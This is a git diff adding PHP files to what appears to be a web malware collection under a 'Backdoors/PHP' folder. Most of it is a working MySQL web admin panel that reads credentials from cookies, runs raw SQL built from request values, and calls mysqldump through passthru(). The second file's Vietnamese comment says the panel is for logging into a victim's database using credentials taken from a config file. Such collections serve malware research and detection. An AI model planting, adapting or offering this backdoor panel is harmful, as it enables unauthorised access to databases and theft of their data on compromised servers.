"<td>".$field["Default"]."</td>\n"; + echo "<td>".$field["Extra"]."</td>\n"; + $fieldname = $field["Field"]; + echo "<td><a +href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n"; + echo "<td><a +href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' +onClick=\"return confirm('Drop Field +\'$fieldname\'?')\">Drop</a></td>\n"; + echo "</tr>\n"; + } + echo "</table>\n"; +} + +function manageField( $cmd ) { + global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF; + + if( $cmd == "add" ) + echo "<h1>Add Field</h1>\n"; + else if( $cmd == "edit" ) { + echo "<h1>Edit Field</h1>\n"; + $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); + $num = mysql_num_rows( $pResult ); + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + if( $field["Field"] == $fieldname ) { + $fieldtype = $field["Type"]; + $fieldkey = $field["Key"]; + $fieldextra = $field["Extra"]; + $fieldnull = $field["Null"]; + $fielddefault = $field["Default"]; + break; + } + } + $type = strtok( $fieldtype, " (,)\n" ); + if( strpos( $fieldtype, "(" ) ) { + if( $type == "enum" | $type == "set" ) { + $valuelist = strtok( " ()\n" ); + } else { + $M = strtok( " (,)\n" ); + if( strpos( $fieldtype, "," ) ) + $D = strtok( " (,)\n" ); + } + } + } + + echo "<p class=location>$dbname &gt; $tablename</p>\n"; + echo "<form action=$PHP_SELF>\n"; + + if( $cmd == "add" ) + echo "<input type=hidden name=action value=addField_submit>\n"; + else if( $cmd == "edit" ) { + echo "<input type=hidden name=action value=editField_submit>\n"; + echo "<input type=hidden name=old_name value=$fieldname>\n"; + } + echo "<input type=hidden name=dbname value=$dbname>\n"; + echo "<input type=hidden name=tablename value=$tablename>\n"; + + echo "<h3>Name</h3>\n"; + echo "<input type=text name=name value=$fieldname><p>\n"; +?> + +<h3>Type</h3> + +<font size=2> +* `M' indicates the maximum display size.<br> +* `D' applies to floating-point types and indicates the number of +digits +following the decimal point.<br> +</font> + +<table> +<tr> +<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th> +</tr> +<tr> +<td><input type=radio name=type value="TINYINT" <? if( $type == +"tinyint" ) +echo "checked";?>>TINYINT (-128 ~ 127)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="SMALLINT" <? if( $type == +"smallint" +) echo "checked";?>>SMALLINT (-32768 ~ 32767)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMINT" <? if( $type == +"mediumint" ) echo "checked";?>>MEDIUMINT (-8388608 ~ 8388607)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="INT" <? if( $type == "int" ) +echo +"checked";?>>INT (-2147483648 ~ 2147483647)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="BIGINT" <? if( $type == "bigint" +) +echo "checked";?>>BIGINT (-9223372036854775808 ~ +9223372036854775807)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="FLOAT" <? if( $type == "float" ) +echo +"checked";?>>FLOAT</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DOUBLE" <? if( $type == "double" +) +echo "checked";?>>DOUBLE</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DECIMAL" <? if( $type == +"decimal" ) +echo "checked";?>>DECIMAL(NUMERIC)</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DATE" <? if( $type == "date" ) +echo +"checked";?>>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DATETIME" <? if( $type == +"datetime" +) echo "checked";?>>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 +23:59:59, +YYYY-MM-DD HH:MM:SS)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TIMESTAMP" <? if( $type == +"timestamp" ) echo "checked";?>>TIMESTAMP (1970-01-01 00:00:00 ~ +2106..., +YYYYMMDD[HH[MM[SS]]])</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TIME" <? if( $type == "time" ) +echo +"checked";?>>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="YEAR" <? if( $type == "year" ) +echo +"checked";?>>YEAR (1901 ~ 2155, 0000, YYYY)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="CHAR" <? if( $type == "char" ) +echo +"checked";?>>CHAR</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td align=center>O</td> +</tr> +<tr> +<td><input type=radio name=type value="VARCHAR" <? if( $type == +"varchar" ) +echo "checked";?>>VARCHAR</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td align=center>O</td> +</tr> +<tr> +<td><input type=radio name=type value="TINYTEXT" <? if( $type == +"tinytext" +) echo "checked";?>>TINYTEXT (0 ~ 255)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TEXT" <? if( $type == "text" ) +echo +"checked";?>>TEXT (0 ~ 65535)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMTEXT" <? if( $type == +"mediumtext" ) echo "checked";?>>MEDIUMTEXT (0 ~ 16777215)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="LONGTEXT" <? if( $type == +"longtext" +) echo "checked";?>>LONGTEXT (0 ~ 4294967295)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TINYBLOB" <? if( $type == +"tinyblob" +) echo "checked";?>>TINYBLOB (0 ~ 255)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="BLOB" <? if( $type == "blob" ) +echo +"checked";?>>BLOB (0 ~ 65535)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMBLOB" <? if( $type == +"mediumblob" ) echo "checked";?>>MEDIUMBLOB (0 ~ 16777215)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="LONGBLOB" <? if( $type == +"longblob" +) echo "checked";?>>LONGBLOB (0 ~ 4294967295)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="ENUM" <? if( $type == "enum" ) +echo +"checked";?>>ENUM</td> +<td colspan=5><center>value list</center></td> +</tr> +<tr> +<td><input type=radio name=type value="SET" <? if( $type == "set" ) +echo +"checked";?>>SET</td> +<td colspan=5><center>value list</center></td> +</tr> + +</table> +<table> +<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value +list (ex: 'apple', 'orange', 'banana') </th></tr> +<tr> +<td align=center><input type=text size=4 name=M <? if( $M != "" ) echo +"value=$M";?>></td> +<td align=center><input type=text size=4 name=D <? if( $D != "" ) echo +"value=$D";?>></td> +<td align=center><input type=checkbox name=unsigned value="UNSIGNED" <? +if( +strpos( $fieldtype, "unsigned" ) ) echo "checked";?>></td> +<td align=center><input type=checkbox name=zerofill value="ZEROFILL" <? +if( +strpos( $fieldtype, "zerofill" ) ) echo "checked";?>></td> +<td align=center><input type=checkbox name=binary value="BINARY" <? if( +strpos( $fieldtype, "binary" ) ) echo "checked";?>></td> +<td align=center><input type=text size=60 name=valuelist <? if( +$valuelist +!= "" ) echo "value=\"$valuelist\"";?>></td> +</tr> +</table> + + +<h3>Flags</h3> +<table> +<tr><th>not null</th><th>default value</th><th>auto +increment</th><th>primary key</th></tr> +<tr> +<td align=center><input type=checkbox name=not_null value="NOT NULL" <? +if( +$fieldnull != "YES" ) echo "checked";?>></td> +<td align=center><input type=text name=default_value <? if( +$fielddefault != +"" ) echo "value=$fielddefault";?>></td> +<td align=center><input type=checkbox name=auto_increment +value="AUTO_INCREMENT" <? if( $fieldextra == "auto_increment" ) echo +"checked";?>></td> +<td align=center><input type=checkbox name=primary_key value="PRIMARY +KEY" +<? if( $fieldkey == "PRI" ) echo "checked";?>></td> +</tr> +</table> + +<p> + +<? + if( $cmd == "add" ) + echo "<input type=submit value='Add Field'>\n"; + else if( $cmd == "edit" ) + echo "<input type=submit value='Edit Field'>\n"; + echo "<input type=button value=Cancel onClick='history.back()'>\n"; + echo "</form>\n"; +} + +function manageField_submit( $cmd ) { + global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, +$PHP_SELF, $queryStr, $errMsg, + $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, +$auto_increment, $primary_key, $valuelist; + + if( $cmd == "add" ) + $queryStr = "ALTER TABLE $tablename ADD $name "; + else if( $cmd == "edit" ) + $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name "; + + if( $M != "" ) + if( $D != "" ) + $queryStr .= "$type($M,$D) "; + else + $queryStr .= "$type($M) "; + else if( $valuelist != "" ) { + $valuelist = stripslashes( $valuelist ); + $queryStr .= "$type($valuelist) "; + } else + $queryStr .= "$type "; + + $queryStr .= "$unsigned $zerofill $binary "; + + if( $default_value != "" ) + $queryStr .= "DEFAULT '$default_value' "; + + $queryStr .= "$not_null $auto_increment"; + + mysql_select_db( $dbname, $mysqlHandle ); + mysql_query( $queryStr, $mysqlHandle ); + $errMsg = mysql_error(); + + // key change + $keyChange = false; + $result = mysql_query( "SHOW KEYS FROM $tablename" ); + $primary = ""; + while( $row = mysql_fetch_array($result) ) + if( $row["Key_name"] == "PRIMARY" ) { + if( $row[Column_name] == $name ) + $keyChange = true; + else + $primary .= ", $row[Column_name]"; + } + if( $primary_key == "PRIMARY KEY" ) { + $primary .= ", $name"; + $keyChange = !$keyChange; + } + $primary = substr( $primary, 2 ); + if( $keyChange == true ) { + $q = "ALTER TABLE $tablename DROP PRIMARY KEY"; + mysql_query( $q ); + $queryStr .= "<br>\n" . $q; + $errMsg .= "<br>\n" . mysql_error(); + $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )"; + mysql_query( $q ); + $queryStr .= "<br>\n" . $q; + $errMsg .= "<br>\n" . mysql_error(); + } + + viewSchema(); +} + +function dropField() { + global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, +$queryStr, +$errMsg; + + $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname"; + mysql_select_db( $dbname, $mysqlHandle ); + mysql_query( $queryStr , $mysqlHandle ); + $errMsg = mysql_error(); + + viewSchema(); +} + +function viewData( $queryStr ) { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, +$rowperpage, $orderby; + + echo "<h1>Data in Table</h1>\n"; + if( $tablename != "" ) + echo "<p class=location>$dbname &gt; $tablename</p>\n"; + else + echo "<p class=location>$dbname</p>\n"; + + $queryStr = stripslashes( $queryStr ); + if( $queryStr == "" ) { + $queryStr = "SELECT * FROM $tablename"; + if( $orderby != "" ) + $queryStr .= " ORDER BY $orderby"; + echo "<a +href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add +Data</a> | \n"; + echo "<a +href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n"; + } + + $pResult = mysql_db_query( $dbname, $queryStr ); + $errMsg = mysql_error(); + + $GLOBALS[queryStr] = $queryStr; + + if( $pResult == false ) { + echoQueryResult(); + return; + } + if( $pResult == 1 ) { + $errMsg = "Success"; + echoQueryResult(); + return; + } + + echo "<hr>\n"; + + $row = mysql_num_rows( $pResult ); + $col = mysql_num_fields( $pResult ); + + if( $row == 0 ) { + echo "No Data Exist!"; + return; + } + + if( $rowperpage == "" ) $rowperpage = 20; + if( $page == "" ) $page = 0; + else $page--; + mysql_data_seek( $pResult, $page * $rowperpage ); + + echo "<table cellspacing=1 cellpadding=2>\n"; + echo "<tr>\n"; + for( $i = 0; $i < $col; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + echo "<th>"; + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n"; + echo "</th>\n"; + } + echo "<th colspan=2>Action</th>\n"; + echo "</tr>\n"; + + for( $i = 0; $i < $rowperpage; $i++ ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + echo "<tr>\n"; + $key = ""; + for( $j = 0; $j < $col; $j++ ) { + $data = $rowArray[$j]; + + $field = mysql_fetch_field( $pResult, $j ); + if( $field->primary_key == 1 ) + $key .= "&" . $field->name . "=" . $data; + + if( strlen( $data ) > 20 ) + $data = substr( $data, 0, 20 ) . "..."; + $data = htmlspecialchars( $data ); + echo "<td>\n"; + echo "$data\n"; + echo "</td>\n"; + } + + if( $key == "" ) + echo "<td colspan=2>no Key</td>\n"; + else { + echo "<td><a +href='$PHP_SELF?action=editData&dbname=$dbname&tablename=$tablename$key'>Edit</a></td>\n"; + echo "<td><a +href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablename$key' +onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n"; + } + echo "</tr>\n"; + } + echo "</table>\n"; + + echo "<font size=2>\n"; + echo "<form +action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' +method=post>\n"; + echo "<font color=green>\n"; + echo ($page+1)."/".(int)($row/$rowperpage+1)." page"; + echo "</font>\n"; + echo " | "; + if( $page > 0 ) { + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page); + if( $orderby != "" ) + echo "&orderby=$orderby"; + echo "'>Prev</a>\n"; + } else + echo "Prev"; + echo " | "; + if( $page < ($row/$rowperpage)-1 ) { + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2); + if( $orderby != "" ) + echo "&orderby=$orderby"; + echo "'>Next</a>\n"; + } else + echo "Next"; + echo " | "; + if( $row > $rowperpage ) { + echo "<input type=text size=4 name=page>\n"; + echo "<input type=submit value='Go'>\n"; + } + echo "</form>\n"; + echo "</font>\n"; +} + +function manageData( $cmd ) { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF; + + if( $cmd == "add" ) + echo "<h1>Add Data</h1>\n"; + else if( $cmd == "edit" ) { + echo "<h1>Edit Data</h1>\n"; + $pResult = mysql_list_fields( $dbname, $tablename ); + $num = mysql_num_fields( $pResult ); + + $key = ""; + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + if( $field->primary_key == 1 ) + if( $field->numeric == 1 ) + $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; + else + $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; + } + $key = substr( $key, 0, strlen($key)-4 ); + + mysql_select_db( $dbname, $mysqlHandle ); + $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE +$key", $mysqlHandle ); + $data = mysql_fetch_array( $pResult ); + } + + echo "<p class=location>$dbname &gt; $tablename</p>\n"; + + echo "<form action='$PHP_SELF' method=post>\n"; + if( $cmd == "add" ) + echo "<input type=hidden name=action value=addData_submit>\n"; + else if( $cmd == "edit" ) + echo "<input type=hidden name=action value=editData_submit>\n"; + echo "<input type=hidden name=dbname value=$dbname>\n"; + echo "<input type=hidden name=tablename value=$tablename>\n"; + echo "<table cellspacing=1 cellpadding=2>\n"; + echo "<tr>\n"; + echo "<th>Name</th>\n"; + echo "<th>Type</th>\n"; + echo "<th>Function</th>\n"; + echo "<th>Data</th>\n"; + echo "</tr>\n"; + + $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); + $num = mysql_num_rows( $pResult ); + + $pResultLen = mysql_list_fields( $dbname, $tablename ); + + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + $fieldname = $field["Field"]; + $fieldtype = $field["Type"]; + $len = mysql_field_len( $pResultLen, $i ); + + echo "<tr>"; + echo "<td>$fieldname</td>"; + echo "<td>".$field["Type"]."</td>"; + echo "<td>\n"; + echo "<select name=${fieldname}_function>\n"; + echo "<option>\n"; + echo "<option>ASCII\n"; + echo "<option>CHAR\n"; + echo "<option>SOUNDEX\n"; + echo "<option>CURDATE\n"; + echo "<option>CURTIME\n"; + echo "<option>FROM_DAYS\n"; + echo "<option>FROM_UNIXTIME\n"; + echo "<option>NOW\n"; + echo "<option>PASSWORD\n"; + echo "<option>PERIOD_ADD\n"; + echo "<option>PERIOD_DIFF\n"; + echo "<option>TO_DAYS\n"; + echo "<option>USER\n"; + echo "<option>WEEKDAY\n"; + echo "<option>RAND\n"; + echo "</select>\n"; + echo "</td>\n"; + $value = htmlspecialchars($data[$i]); + if( $cmd == "add" ) { + $type = strtok( $fieldtype, " (,)\n" ); + if( $type == "enum" || $type == "set" ) { + echo "<td>\n"; + if( $type == "enum" ) + echo "<select name=$fieldname>\n"; + else if( $type == "set" ) + echo "<select name=$fieldname size=4 multiple>\n"; + echo strtok( "'" ); + while( $str = strtok( "'" ) ) { + echo "<option>$str\n"; + strtok( "'" ); + } + echo "</select>\n"; + echo "</td>\n"; + } else { + if( $len < 40 ) + echo "<td><input type=text size=40 maxlength=$len +name=$fieldname></td>\n"; + else + echo "<td><textarea cols=40 rows=3 maxlength=$len +name=$fieldname></textarea>\n"; + } + } else if( $cmd == "edit" ) { + $type = strtok( $fieldtype, " (,)\n" ); + if( $type == "enum" || $type == "set" ) { + echo "<td>\n"; + if( $type == "enum" ) + echo "<select name=$fieldname>\n"; + else if( $type == "set" ) + echo "<select name=$fieldname size=4 multiple>\n"; + echo strtok( "'" ); + while( $str = strtok( "'" ) ) { + if( $value == $str ) + echo "<option selected>$str\n"; + else + echo "<option>$str\n"; + strtok( "'" ); + } + echo "</select>\n"; + echo "</td>\n"; + } else { + if( $len < 40 ) + echo "<td><input type=text size=40 maxlength=$len name=$fieldname +value=\"$value\"></td>\n"; + else + echo "<td><textarea cols=40 rows=3 maxlength=$len +name=$fieldname>$value</textarea>\n"; + } + } + echo "</tr>"; + } + echo "</table><p>\n"; + if( $cmd == "add" ) + echo "<input type=submit value='Add Data'>\n"; + else if( $cmd == "edit" ) + echo "<input type=submit value='Edit Data'>\n"; + echo "<input type=button value='Cancel' onClick='history.back()'>\n"; + echo "</form>\n"; +} + +function manageData_submit( $cmd ) { + global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, +$queryStr, +$errMsg; + + $pResult = mysql_list_fields( $dbname, $tablename ); + $num = mysql_num_fields( $pResult ); + + mysql_select_db( $dbname, $mysqlHandle ); + if( $cmd == "add" ) + $queryStr = "INSERT INTO $tablename VALUES ("; + else if( $cmd == "edit" ) + $queryStr = "REPLACE INTO $tablename VALUES ("; + for( $i = 0; $i < $num-1; $i++ ) { + $field = mysql_fetch_field( $pResult ); + $func = $GLOBALS[$field->name."_function"]; + if( $func != "" ) + $queryStr .= " $func("; + if( $field->numeric == 1 ) { + $queryStr .= $GLOBALS[$field->name]; + if( $func != "" ) + $queryStr .= "),"; + else + $queryStr .= ","; + } else { + $queryStr .= "'" . $GLOBALS[$field->name]; + if( $func != "" ) + $queryStr .= "'),"; + else + $queryStr .= "',"; + } + } + $field = mysql_fetch_field( $pResult ); + if( $field->numeric == 1 ) + $queryStr .= $GLOBALS[$field->name] . ")"; + else + $queryStr .= "'" . $GLOBALS[$field->name] . "')"; + + mysql_query( $queryStr , $mysqlHandle ); + $errMsg = mysql_error(); + + viewData( "" ); +} + +function deleteData() { + global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, +$queryStr, +$errMsg; + + $pResult = mysql_list_fields( $dbname, $tablename ); + $num = mysql_num_fields( $pResult ); + + $key = ""; + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + if( $field->primary_key == 1 ) + if( $field->numeric == 1 ) + $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; + else + $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; + } + $key = substr( $key, 0, strlen($key)-4 ); + + mysql_select_db( $dbname, $mysqlHandle ); + $queryStr = "DELETE FROM $tablename WHERE $key"; + mysql_query( $queryStr, $mysqlHandle ); + $errMsg = mysql_error(); + + viewData( "" ); +} + +function dump() { + global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename; + + if( $action == "dumpTable" ) + $filename = $tablename; + else + $filename = $dbname; + + header("Content-disposition: filename=$filename.sql"); + header("Content-type: application/octetstream"); + header("Pragma: no-cache"); + header("Expires: 0"); + + $pResult = mysql_query( "show variables" ); + while( 1 ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + if( $rowArray[0] == "basedir" ) + $bindir = $rowArray[1]."bin/"; + } + + passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD +$dbname +$tablename" ); +} + +function utils() { + global $PHP_SELF, $command; + echo "<h1>Utilities</h1>\n"; + if( $command == "" || substr( $command, 0, 5 ) == "flush" ) { + echo "<hr>\n"; + echo "Show\n"; + echo "<ul>\n"; + echo "<li><a +href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n"; + echo "<li><a +href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n"; + echo "<li><a +href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n"; + echo "</ul>\n"; + echo "Flush\n"; + echo "<ul>\n"; + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n"; + if( $command == "flush_hosts" ) { + if( mysql_query( "Flush hosts" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n"; + if( $command == "flush_logs" ) { + if( mysql_query( "Flush logs" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n"; + if( $command == "flush_privileges" ) { + if( mysql_query( "Flush privileges" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n"; + if( $command == "flush_tables" ) { + if( mysql_query( "Flush tables" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n"; + if( $command == "flush_status" ) { + if( mysql_query( "Flush status" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "</ul>\n"; + } else { + $queryStr = ereg_replace( "_", " ", $command ); + $pResult = mysql_query( $queryStr ); + if( $pResult == false ) { + echo "Fail"; + return; + } + $col = mysql_num_fields( $pResult ); + + echo "<p class=location>$queryStr</p>\n"; + echo "<hr>\n"; + + echo "<table cellspacing=1 cellpadding=2 border=0>\n"; + echo "<tr>\n"; + for( $i = 0; $i < $col; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + echo "<th>".$field->name."</th>\n"; + } + echo "</tr>\n"; + + while( 1 ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + echo "<tr>\n"; + for( $j = 0; $j < $col; $j++ ) + echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n"; + echo "</tr>\n"; + } + echo "</table>\n"; + } +} + +function header_html() { + global $PHP_SELF; + +?> +<html> +<head> +<title>MySQL Web Interface</title> +<style type="text/css"> +<!-- +p.location { + color: #11bb33; + font-size: small; +} +h1 { + color: #A4A260; +} +th { + background-color: #BDBE42; + color: #FFFFFF; + font-size: x-small; +} +td { + background-color: #DEDFA5; + font-size: x-small; +} +form { + margin-top: 0; + margin-bottom: 0; +} +a { + text-decoration:none; + color: #848200; + font-size:x-small; +} +a:link { +} +a:hover { + background-color:#EEEFD5; + color:#646200; + text-decoration:none +} +//--> +</style> +</head> +<body> +<? +} + +function footer_html() { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME; + + echo "<hr>\n"; + echo "<font size=2>\n"; + echo "<font color=blue>[$USERNAME]</font> - \n"; + + echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n"; + if( $tablename != "" ) + echo "<a +href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table +List</a> | "; + echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n"; + echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n"; + echo "</font>\n"; + echo "</body>\n"; + echo "</html>\n"; +} + +//------------------------------------------------------ MAIN + +if( $action == "logon" || $action == "" || $action == "logout" ) + logon(); +else if( $action == "logon_submit" ) + logon_submit(); +else if( $action == "dumpTable" || $action == "dumpDB" ) { + while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { + if( $var == "mysql_web_admin_username" ) $USERNAME = $value; + if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; + } + $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); + dump(); +} else { + while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { + if( $var == "mysql_web_admin_username" ) $USERNAME = $value; + if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; + } + echo "<!--"; + $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); + echo "-->"; + + if( $mysqlHandle == false ) { + echo "<html>\n"; + echo "<head>\n"; + echo "<title>MySQL Web Interface</title>\n"; + echo "</head>\n"; + echo "<body>\n"; + echo "<table width=100% height=100%><tr><td><center>\n"; + echo "<h1>Wrong Password!</h1>\n"; + echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n"; + echo "</center></td></tr></table>\n"; + echo "</body>\n"; + echo "</html>\n"; + } else { + header_html(); + if( $action == "listDBs" ) + listDatabases(); + else if( $action == "createDB" ) + createDatabase(); + else if( $action == "dropDB" ) + dropDatabase(); + else if( $action == "listTables" ) + listTables(); + else if( $action == "createTable" ) + createTable(); + else if( $action == "dropTable" ) + dropTable(); + else if( $action == "viewSchema" ) + viewSchema(); + else if( $action == "query" ) + viewData( $queryStr ); + else if( $action == "addField" ) + manageField( "add" ); + else if( $action == "addField_submit" ) + manageField_submit( "add" ); + else if( $action == "editField" ) + manageField( "edit" ); + else if( $action == "editField_submit" ) + manageField_submit( "edit" ); + else if( $action == "dropField" ) + dropField(); + else if( $action == "viewData" ) + viewData( "" ); + else if( $action == "addData" ) + manageData( "add" ); + else if( $action == "addData_submit" ) + manageData_submit( "add" ); + else if( $action == "editData" ) + manageData( "edit" ); + else if( $action == "editData_submit" ) + manageData_submit( "edit" ); + else if( $action == "deleteData" ) + deleteData(); + else if( $action == "utils" ) + utils(); + + mysql_close( $mysqlHandle); + footer_html(); + } +} + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/Mysql interface v1.0.txt b/web-malware-collection-master/Backdoors/PHP/Mysql interface v1.0.txt new file mode 100755 index 0000000..f20dbc4 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Mysql interface v1.0.txt @@ -0,0 +1,1166 @@ +<? +/* +* Mysql interface v1.0 +* ------------------------------- +* Description : +* Dung` de login vao` CSDL cua victim khi da biet user va` pass cua mysql thong qua file config +*/ + +$HOSTNAME = "localhost"; + +function logon() { +global $PHP_SELF; + +setcookie( "mysql_web_admin_username" ); +setcookie( "mysql_web_admin_password" ); +echo "<html>\n"; +echo "<head>\n"; +echo "<title>Mysql interface</title>\n"; +echo "</head>\n"; +echo "<body>\n"; +echo "<table 